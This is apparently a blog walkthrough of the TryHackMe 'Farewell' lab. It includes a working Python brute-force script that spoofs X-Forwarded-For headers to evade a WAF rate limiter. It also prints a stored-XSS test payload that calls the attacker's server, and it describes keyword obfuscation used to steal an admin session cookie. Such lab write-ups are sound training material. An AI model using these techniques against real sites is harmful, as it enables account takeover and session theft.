Post

TryHackMe: Farewell - Bypassing WAFs and Snatching Cookies

TryHackMe: Farewell - Bypassing WAFs and Snatching Cookies

Welcome back! Today we’re diving into the Farewell room on TryHackMe. This one is a fun challenge that focuses heavily on web application security, specifically dealing with Web Application Firewalls (WAF), rate-limiting, and stored XSS.

Let’s get started.

Initial Discovery

As always, my first step was to hit the machine with an Nmap scan. I wanted to see what ports were open and what services were running.

Nmap Scan Result

The scan revealed two open ports:

  • Port 22 (SSH): Standard OpenSSH 9.6p1.
  • Port 80 (HTTP): An Apache server running a web app.

An interesting thing Nmap caught was that the PHPSESSID cookie didn’t have the httponly flag set. That’s a huge hint for later, it means if we find an XSS vulnerability, we can potentially steal the cookies using JavaScript.

Opening the site in my browser, I was greeted with a clean, dark-themed login page.

Login Page Welcome back screen

Hunting for Hints

I started poking around the login form. One of the best things to check for in these types of rooms is how the application handles valid vs. invalid users.

Sure enough, when I tried a valid username, the server was kind enough to give me a password hint!

Admin Hint The hint for admin: “the year plus a kind send-off”

I checked the dashboard “recent messages” and found a few more usernames: adam, deliver11, and nora.

Adam Hint Adam’s hint: “favorite pet + 2”

Deliver11 Hint Deliver11’s hint: “Capital of Japan followed by 4 digits”

Nora Hint Nora’s hint: “lucky number 789”

Brute-Forcing the WAF

The hint for deliver11 was the most promising: “Capital of Japan (Tokyo) followed by 4 digits”. This is a perfect candidate for a brute-force attack since there are only 10,000 possible combinations (0000-9999).

I fired up ffuf to start the attack, but I immediately hit a wall. Every single request was returning a 403 Forbidden.

ffuf 403 Blocked Burp 403 block

It looks like the server has a WAF that doesn’t like automated tools. I tried changing the User-Agent to something more “humanly” like a standard Firefox header, and it started working… for a while. Then it blocked me again. Rate limiting was definitely in play.

Bypassing WAF with User-Agent

After some digging, I figured out the trick the WAF uses the X-Forwarded-For header to track and rate-limit requests. So if we spoof a random IP for each request, we can dodge the rate limiter entirely.

I put together a quick Python script that does exactly that each request gets a random X-Forwarded-For value, and with 50 threads running in parallel, it tears through all 10,000 combos pretty fast:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import random
import concurrent.futures

URL = "http://10.10.247.18/auth.php"

def worker(digits):
    xfwd = ".".join(str(random.randint(1, 255)) for _ in range(4))
    data = {
        "username": "deliver11",
        "password": f"Tokyo{digits}",
    }
    try:
        r = requests.post(
            URL,
            headers={"X-Forwarded-For": xfwd, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"},
            data=data,
        )
    except Exception:
        return None

    if b"auth_failed" not in r.content:
        return digits

    return None


if __name__ == "__main__":

    with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
        futures = [executor.submit(worker, f"{digits:04}") for digits in range(0, 10000)]
        try:
            for future in concurrent.futures.as_completed(futures):
                result = future.result()
                if result is not None:
                    print(f"[+] VALID DIGITS FOUND: {result}")
                    executor.shutdown(wait=False, cancel_futures=True)
                    break
                    
        except KeyboardInterrupt:
            print("\n[!] Interrupted by user")
            executor.shutdown(wait=False, cancel_futures=True)

Ran the script and within seconds it spit out the valid digits.

Pending Review

With this digit We now have the password for deliver11 is Tokyo + digits( Tokyo1010).

Dashboard of Deliver11

Dashboard of Deliver11

and we get the user flag.

Exploiting Stored XSS

I started with a simple image tag to see if I could trigger an external request: <img src="http://MY_IP/test.jpg">.

XSS Test Payload

Checking my local Python server, I saw a hit! XSS confirmed.

Python server hit

Now, I wanted to steal the admin’s cookie. But the WAF was still watching. Any payload containing keywords like fetch, cookie, or document was instantly blocked.

WAF Blocking XSS Another 403 on XSS

I had to get creative. I tried various obfuscation techniques:

  • Breaking up strings using concatenation: "fet" + "ch"
  • Using eval()
  • Changing the case of tags

Capitalized IMG tag

I went through several iterations of testing different payloads to see what would bite.

XSS Test 1 Finally, I found a payload that worked. Combining a capitalized <IMG> tag with onerror and some string concatenation for the blocked keywords did the trick.

Wait for it… and bingo! The admin’s browser executed my JavaScript, and their session cookie was sent straight to my server. XSS Test 2

Becoming Admin

With the admin’s PHPSESSID in hand, I swapped my cookie for theirs in the browser console.

Captured Admin Cookie

Replacing Cookie

I refreshed the page, and I was logged in as the admin user. Heading over to /admin.php, I finally found what I came for the root flag!

Flag Captured

Farewell, indeed! This room was a great exercise in persistent enumeration and WAF evasion. Hope you enjoyed the walkthrough!

Happy Hacking!

Hacking GIF
This post is licensed under CC BY 4.0 by the author.